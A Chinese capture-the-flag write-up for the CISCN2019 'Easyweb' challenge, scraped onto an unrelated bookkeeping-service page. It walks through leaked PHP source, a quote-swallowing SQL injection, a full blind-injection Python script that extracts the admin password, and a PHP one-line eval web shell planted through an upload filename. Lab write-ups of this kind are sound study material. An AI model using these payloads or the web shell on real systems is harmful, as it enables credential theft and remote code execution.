您好,欢迎访问代理记账网站
移动应用 微信公众号 联系我们

咨询热线 -

电话 15988168888

联系客服
  • 价格透明
  • 信息保密
  • 进度掌控
  • 售后无忧

[CISCN2019 总决赛 Day2 Web1]Easyweb

文章目录

        • 源码泄露:
        • 分析源码
        • SQL盲注
        • 文件上传——短标签

源码泄露:

常规访问一下robots.txt。发现有提示bak备份文件,但没有明确是哪一个文件。这里我按照常规做法尝试index.php.bak没成功,然后一直在哪乱试,脑子wat了居然没去看网页源码,还是太菜了。其实图片就来自于image.php,自然是该文件了…访问image.php.bak下载到源码



分析源码

//config.php
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
                                                            
$result=mysqli_query($con,"select * from images where id='{$id}' or path='       {$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

将id、path参数进行预定义字符转义,然后再将转义后的字符进行过滤替换,替换为空,然后才放到SQL语句中查询。

值得注意是替换为空这个操作可谓”事故多发地“,处理不好就经常能被利用

这题有两个参数,又有转义,又不是GBK编码,其实就是利用转义字符转义语句中的单引号,而达到吞掉单引号的目的

\\0指的是\0,第一个反斜杠是转义第二个反斜杠
还要注意的是\0是不会被addslashes()转义的,因为这个反斜杠只是转义功能,而不是”真正的字符“

构造出\\0,被addslashes()处理后增加一个反斜杠还是\\0,然后被替换为空后变为\


SQL盲注

image.php?id=\\0&path= or id=1是一張圖片
image.php?id=\\0&path= or id=2又是另外一張圖
import requests
import time
url='http://d2abd231-3ca0-41b2-a251-3c06ce9669f3.node3.buuoj.cn/image.php?id=\\0&path= or id='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        mid=min+(max-min)//2
        if min==mid:
            flag+=chr(mid)
            print(flag)
            if chr(mid)=='}':
                exit()
            break

        #payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0)%23".format(i,mid)
        #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))<{},1,0)%23".format(i,mid)
        payload="if(ascii(substr((select(group_concat(password))from(users)),{},1))<{},1,0)%23".format(i,mid)
        print(payload)

        r=requests.get(url=url+payload).text
        #print(r)
        if '�' in r:
            max=mid
        else:
            min=mid
        time.sleep(0.3)
    time.sleep(0.3)

得到密码:f0a9941d4c6d8bfbb7fe 账号:admin



文件上传——短标签

登录后是一个上传文件的页面,上传后提示将文件名记录在一个php文件中。可以猜到文件名是我们利用的点,往文件名写一句话。PHP会被过滤,直接短标签就可以了

<?=eval($_POST[1])?>

在这里插入图片描述
在这里插入图片描述


分享:

低价透明

统一报价,无隐形消费

金牌服务

一对一专属顾问7*24小时金牌服务

信息保密

个人信息安全有保障

售后无忧

服务出问题客服经理全程跟进